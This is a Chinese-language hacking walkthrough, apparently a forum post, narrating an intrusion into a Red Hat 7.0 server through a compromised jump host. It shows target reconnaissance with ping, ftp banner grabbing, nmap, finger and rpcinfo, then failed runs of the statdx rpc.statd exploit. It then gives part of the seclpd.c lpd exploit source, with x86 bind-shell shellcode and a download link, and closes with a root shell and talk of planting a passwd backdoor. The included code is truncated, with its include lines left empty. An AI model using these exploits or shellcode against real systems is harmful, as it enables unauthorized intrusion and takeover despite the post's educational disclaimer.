入侵RedHat Linux系统实例

下 载：http://210.77.146.151/images/hlc/files/seclpd.c

我写此文的目的不在于教人入侵，而是为了提高自身的技术和加强网络管理员的安全防范意识。仅此而已!粗心大意的网络管理员应该明白：由于你们一个小小的操作失误可能会导致整个网络全面沦陷！本文主要是围绕unix下面的一个小小的服务进程(lpd:网络打印服务)的攻击而进行的。

让俺慢慢道来…..
咳…咳…先给我上茶！（什么?! 没有?俺不说了!!）呵呵……开开玩笑,言归正传.首先确定目标,随便找上*一个搜索引擎。随便挑一个吧！假设是：www.fbi.gov.tw。^__^

先让俺看看是不是连得上：

c:\ping www.fbi.gov.tw
pinging www.fbi.gov.tw[202.106.184.200] with 32 bytes of data:

reply from 202.106.184.200: bytes=32 time=541ms ttl=244
reply from 202.106.184.200: bytes=32 time=620ms ttl=244
reply from 202.106.184.200: bytes=32 time=651ms ttl=244
reply from 202.106.184.200: bytes=32 time=511ms ttl=244

ping statistics for 202.106.184.200:
packets: sent = 4, received = 4, lost = 0 (0% loss),
approximate round trip times in milli-seconds:
minimum = 511ms, maximum = 651ms, average = 580ms

嘻嘻—不但连得上，速度还不错……

先telnet看看banner：

c:\>telnet www.fbi.gov.tw

遗失对主机的连接。

哈哈……看来把telnet服务给shut掉了！再试试ftp
c:\>ftp www.fbi.gov.tw
connected to www.fbi.gov.tw.
220 fbi-www ftp server (version wu-2.6.1(1) wed aug 9 05:54:50 edt 2000) ready.

user (www.fbi.gov.tw:(none)):

呵~~wu-2.6.1看来有点眉目了。这台机器像是大名鼎鼎的…………对!redhat7.0！没错就是她了！首先必须确认一下，连上俺的跳板:

c:\>telnet xxx.xxx.xxx.xxx
red hat linux release 7.0 (guinness)
kernel 2.2.16-22smp on an i686
login: fetdog
password:
bash-2.04$

呵呵~~这是我在*的一台跳板。rh7的哦！等下我就会告诉你们拿这些肉鸡办法……拿上nmap扫描器，看看其中的奥妙~~~

bash-2.04$nmap -st -o www.fbi.gov.tw
starting nmap v. 2.54beta7 ( www.insecure.org/nmap/ )
warning! the following files exist and are readable: /usr/local/sha
-services and ./nmap-services. i am choosing /usr/local/share/nmap/
s for security reasons. set nmapdir=. to give priority to files in
irectory
interesting ports on (www.fbi.gov.tw):
(the 1520 ports scanned but not shown below are in state: closed)
port state service
25/tcp open smtp
79/tcp open finger
80/tcp open http
111/tcp open sunrpc
113/tcp open auth
443/tcp open https
513/tcp open login
514/tcp open shell
515/tcp open printer
587/tcp open submission
1024/tcp open kdm

tcp sequence prediction: class=random positive increments
difficulty=3247917 (good luck!)
remote operating system guess: linux 2.1.122 - 2.2.16

nmap run completed -- 1 ip address (1 host up) scanned in 9 seconds

恰恰！！打开的端口还挺多的嘛！不错……不错……。79/tcp finger？呵呵~先看看这个，不过linux没有finger用户列表这个漏洞，不管它俺先看看有没有倒霉鬼。

bash-2.04$finger @www.fbi.gov.tw
[www.fbi.gov.tw]
no one logged on.

sh*t！怎么会没人！开门！给我开门！:(……再看看111/tcp sunrpc。嘿嘿……近来rpc漏洞风行，不知道rh7这个东东会不会有？管它呢，先看看再说！

bash-2.04$rpcinfo -p www.fbi.gov.tw
program vers proto port service
100000 2 tcp 111 rpcbind
100000 2 udp 111 rpcbind
100021 1 udp 1024 nlockmgr
100021 3 udp 1024 nlockmgr
100024 1 udp 1025 status
100024 1 tcp 1024 status

看来有rpc.statd服务。等俺来看看能不能远程溢出拿个rootshell。哈哈！这个rpc.statd远程溢出是我在hack.co.za找到的。等俺先来看看帮助。嘻嘻~~

bash-2.04$./statdx -h
statdx by ron1n
usage: stat [-t] [-p port] [-a addr] [-l len]
[-o offset] [-w num] [-s secs] [-d type]
-t attack a tcp dispatcher [udp]
-p rpc.statd serves requests on [query]
-a the stack address of the buffer is
-l the length of the buffer is [1024]
-o the offset to return to is [600]
-w the number of dwords to wipe is [9]
-s set timeout in seconds to [5]
-d use a hardcoded
available types:
0 redhat 6.2 (nfs-utils-0.1.6-2)
1 redhat 6.1 (knfsd-1.4.7-7)
2 redhat 6.0 (knfsd-1.2.2-4)
看来并不支持rh7。怎么办？？让俺把0-2全部试试看再说！start……

bash-2.04$stat -d 0 www.fbi.gov.tw
buffer: 0xbffff314 length: 999 ( str/ nul)
target: 0xbffff718 new: 0xbffff56c (offset: 600)
wiping 9 dwords
failed - statd returned res_stat: (failure) state: 21

哈哈受到挫折，再试……

bash-2.04$stat -d 1 www.fbi.gov.tw
buffer: 0xbffff314 length: 999 ( str/ nul)
target: 0xbffff718 new: 0xbffff56c (offset: 600)
wiping 9 dwords
failed - statd returned res_stat: (failure) state: 21

一样！继续……

bash-2.04$stat -d 1 www.fbi.gov.tw
buffer: 0xbffff314 length: 999 ( str/ nul)
target: 0xbffff718 new: 0xbffff56c (offset: 600)
wiping 9 dwords
failed - statd returned res_stat: (failure) state: 21

我烤！！烤烤烤！rpc.statd行不通啊！让我想想看……rh7应该有个远程溢出……好像是lp服务造成的。让俺去找找看。哈哈~~找到了……“seclpd.c”应该是这个东东了。 以下程序也可以在黑盟下载。


—————以下代码仅供教学使用，决不能用来进行恶意攻击—————
/*
* welcome to http://hlc.cnroot.com/
* run: ./seclpd victim brute -t type
* try first ./seclpd victim -t 0 then try the brute.
*/

#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

#define address_buffer_size 32 4
#define append_buffer_size 52
#define format_length 512-8
#define nopcount 200
#define shellcode_count 1030
#define delay 50000 /* usecs */
#define offset_limit 5000

char shellcode[] =
"\x31\xdb\x31\xc9\x31\xc0\xb0\x46\xcd\x80"
"\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
"\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
"\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
"\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
"\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
"\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
"\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
"\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";

哈哈~~brute暴力破解。看你出不出shell！现在要等上一会儿……去泡杯coffee慢慢来。（什么！没coffee？tea！这个也行！）…………过了大约一杯coffee的时间。也就是5-8分钟左右，就会有结果了。（什么！什么！5-8分钟你喝了5杯！我倒~~~）……出来了。哈哈~~

- [ ] shell located on www.fbi.gov.tw
- [ ] enter commands at will

linux fbi.www 2.2.16-22smp #1 smp tue aug 22 16:39:21 edt 2000 i686 unknown
uid=0(root) gid=7(lp)

well……哈哈~uid=0(root)哇哈哈哈哈…………先在你是root啦！可以为所欲为了~~把它的东西全部删了~~哈哈……太过火了~~还是在passwd中加个后门算了~~至于怎么加，这就不在本文的范围内了……^___^